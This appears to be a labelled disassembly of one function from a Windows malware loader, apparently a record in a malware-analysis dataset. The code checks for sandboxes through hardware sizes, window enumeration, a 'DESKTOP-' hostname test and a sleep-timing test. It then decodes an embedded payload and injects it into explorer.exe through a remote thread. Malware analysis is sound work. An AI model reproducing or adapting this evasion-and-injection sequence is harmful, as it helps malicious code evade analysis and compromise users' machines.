Function at 0x22bb81508
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x19780
call fcn.22bb826e0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x19660]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x19680]
mov dword [rbp + 0x196f8], eax
cmp dword [rbp + 0x196f8], 3
ja 0x22bb81550
mov eax, 0
jmp 0x22bb81965
mov dword [rbp + 0x19620], 0x40
lea rax, [rbp + 0x19620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x19628]
shr rax, 0x14
mov dword [rbp + 0x196f4], eax
cmp dword [rbp + 0x196f4], 0xf9f
ja 0x22bb81594
mov eax, 0
jmp 0x22bb81965
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x196e8], rax
mov rax, qword [rbp + 0x196e8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x195fc]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x19600]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x19600]
mov edx, dword [rbp + 0x1960c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x19610]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x19614]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x196e4], eax
cmp dword [rbp + 0x196e4], 0x31
ja 0x22bb81678
mov eax, 0
jmp 0x22bb81965
mov byte [rbp + 0x195fb], 0
lea rax, [rbp + 0x195fb]
mov rdx, rax
lea rcx, [sym.EnumWindowsProc_HWND____long_long_]
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
movzx eax, byte [rbp + 0x195fb]
test al, al
je 0x22bb816ae
mov eax, 0
jmp 0x22bb81965
mov dword [rbp + 0x195f4], 0x10
lea rdx, [rbp + 0x195f4]
lea rax, [rbp + 0x195d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call rax
lea rax, [rbp + 0x195d0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperW]
call rax
lea rax, [rbp + 0x195d0]
lea rdx, str.DESKTOP_
mov rcx, rax
call sym.wcsstr
test rax, rax
setne al
test al, al
je 0x22bb8170f
mov eax, 0
jmp 0x22bb81965
lea rax, [rbp - 0x30]
lea rdx, [0x22bb84090]
mov ecx, 0x19600
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x196e0], 0x19600
lea rcx, str.explorer.exe
call sym.GetProcessIdByName_char_const_
mov dword [rbp + 0x196dc], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x196d0], rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
lea rdx, str.NtDelayExecution
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x196c8], rax
mov qword [rbp - 0x38], 0xffffffffc4653600
lea rax, [rbp - 0x38]
mov r8, qword [rbp + 0x196c8]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x196c0], rax
mov rax, qword [rbp + 0x196c0]
sub rax, qword [rbp + 0x196d0]
cmp rax, 0x1869f
ja 0x22bb817d2
mov eax, 0
jmp 0x22bb81965
mov eax, dword [rbp + 0x196e0]
add rax, rax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x196b8], rax
mov ecx, dword [rbp + 0x196e0]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x196b8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x196b8]
mov qword [rbp + 0x196b0], rax
mov dword [rbp + 0x196fc], 0
mov eax, dword [rbp + 0x196fc]
cdqe
cmp rax, 0x195ff
ja 0x22bb81874
mov eax, dword [rbp + 0x196fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x196b0]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
sub eax, 0x18
mov dword [rbp + 0x196ac], eax
mov eax, dword [rbp + 0x196fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x196b0]
add rax, rdx
mov edx, dword [rbp + 0x196ac]
mov byte [rax], dl
add dword [rbp + 0x196fc], 1
jmp 0x22bb8181e
mov eax, dword [rbp + 0x196dc]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x196a0], rax
mov edx, dword [rbp + 0x196e0]
mov rax, qword [rbp + 0x196a0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x19698], rax
mov r8d, dword [rbp + 0x196e0]
mov rcx, qword [rbp + 0x196b0]
mov rdx, qword [rbp + 0x19698]
mov rax, qword [rbp + 0x196a0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x19698]
mov rax, qword [rbp + 0x196a0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x19690], rax
mov rax, qword [rbp + 0x196a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x19780
pop rbp
ret